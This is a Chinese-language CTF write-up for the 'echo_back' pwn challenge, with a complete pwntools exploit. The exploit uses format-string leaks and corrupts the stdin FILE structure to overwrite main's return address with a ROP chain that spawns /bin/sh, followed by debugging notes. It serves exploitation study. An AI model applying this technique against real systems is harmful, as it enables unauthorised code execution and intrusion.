保护全开
泄露关键信息
攻击scanf
#! /usr/bin/env python
#coding:utf8
from pwn import *
local = 1
if local:
p = process('./echo_back')
else:
p = remote("111.198.29.45", 38784)
debug = 1
if debug:
context.log_level = 'debug'
elf = ELF('./echo_back')
libc = ELF('./libc.so.6')
prdi = 0x0000000000000d93
main_P_addr = 0xc6c
IO_stdin = libc.symbols['_IO_2_1_stdin_']
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
def echo_back(size, con):
p.sendlineafter('choice>> ', '2')
p.sendlineafter('length:', str(size))
p.send(con)
def name(name):
p.sendlineafter('choice>> ', '1')
p.sendafter('name:', name)
# 泄露libc基址
echo_back(7, '%19$p')
p.recvuntil('0x')
libc_s_m_addr = int(p.recvuntil('-').split('-')[0], 16) - 240
print hex(libc_s_m_addr)
offset = libc_s_m_addr - libc.symbols['__libc_start_main']
system = libc.symbols['system'] + offset
bin_sh = libc.search('/bin/sh').next() + offset
IO_stdin_addr = IO_stdin + offset
print hex(offset)
# 泄露elf基址
echo_back(7, '%13$p')
p.recvuntil('0x')
elf_base = int(p.recvuntil('-', drop=True), 16) - 0xd08
prdi = prdi + elf_base
# 泄露main返回地址
echo_back(7, '%12$p')
p.recvuntil('0x')
main_ebp = int(p.recvuntil('-', drop=True), 16)
main_ret = main_ebp + 0x8
# 修改IO_buf_base,增大输入字符数
IO_buf_base = IO_stdin_addr + 0x8 * 7
print "IO_buf_base:"+hex(IO_buf_base)
name(p64(IO_buf_base))
echo_back(7, '%16$hhn')
# 输入payload,覆盖stdinFILE结构的关键参数
payload = p64(IO_stdin_addr + 131) * 3 + p64(main_ret) + p64(main_ret + 3 * 0x8)
p.sendlineafter('choice>> ', '2')
p.sendafter('length:', payload)
p.sendline('')
# 绕过_IO_new_file_underflow中检测
for i in range(0,len(payload) - 1):
p.sendlineafter('choice>> ', '2')
p.sendlineafter('length:', '0')
# 实现指定位置写
p.sendlineafter('choice>> ', '2')
p.sendlineafter('length:', p64(prdi) + p64(bin_sh) + p64(system))
p.sendline('')
# getshell
p.sendlineafter('choice>> ', '3')
p.interactive()
程序r起来以后ctrl+c跳出,或者在脚本中gdb.attach(io)
来到pwndbg调试界面找到pie后的具体位置
后三位偏移保持不变,前面即为具体位置,在echo_back返回前设置断点,c或者r重新调试
b *0x555555554c6a
r
键入7个a标识
发现在距离rsp13×8处有__libc_start_main,可泄露其地址得到libc基址
距离rsp8×8处有可疑地址,泄露得到elf基址
距离rsp7×8处有rbp的内容,即为main栈帧的rbp值,此值+8可以得到main的返回地址
先调出__libc_start_main+240的具体地址,从%13$p开始依次增加,直到19才终于打印出来我们想要的值,故上述地址均能泄露。
需要注意的是printf在64位下前6个参数会先从寄存器取
_IO_new_file_underflow()最终调用_IO_SYSREAD()向指定位置写入,主要有如下地方需要绕过条件
// fp->_IO_read_ptr大于等于fp->_IO_read_end时才会接着执行
if (fp->_IO_read_ptr < fp->_IO_read_end) //!!
return *(unsigned char *) fp->_IO_read_ptr; //!!
...
// 读完后fp->_IO_read_end会增加
count = _IO_SYSREAD (fp, fp->_IO_buf_base, //!!
fp->_IO_buf_end - fp->_IO_buf_base); //!!
...
fp->_IO_read_end += count;
我们可以直接查看stdin的FILE结构,利用格式化字符串将_IO_buf_base的低一个字节改为\x00,这样在_IO_SYSREAD函数后将读入更多的字符,暂存在fp->_IO_buf_base中,进一步也能覆盖其中的_IO_buf_base为main函数的返回地址,同时由于输入后IO_read_end会大于_IO_read_ptr,我们需要绕过这个条件使下一次输入(写main函数的返回地址)能奏效,最终便可以修改main函数返回地址。
下图为FILE未受攻击前
修改_IO_buf_base后,可以看到它最多可以输入0x64个字节,并可以从0x7f2bc69eb900(恰好为_IO_write_base)开始覆盖
进一步覆盖后,可以看到_IO_buf_base便是main函数的返回地址,可以一直输入3×8个字节(pop_rdi_ret+bin_sh+system_addr)
最后需要调用几次getchar(),增加_IO_buf_ptr,结果如下,此时便可写入
可以看到确实把main函数返回地址改成了pop_rdi_ret,最终控制了函数流程
https://blog.csdn.net/seaaseesa/article/details/103114909
https://blog.csdn.net/qq_43986365/article/details/104816255
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/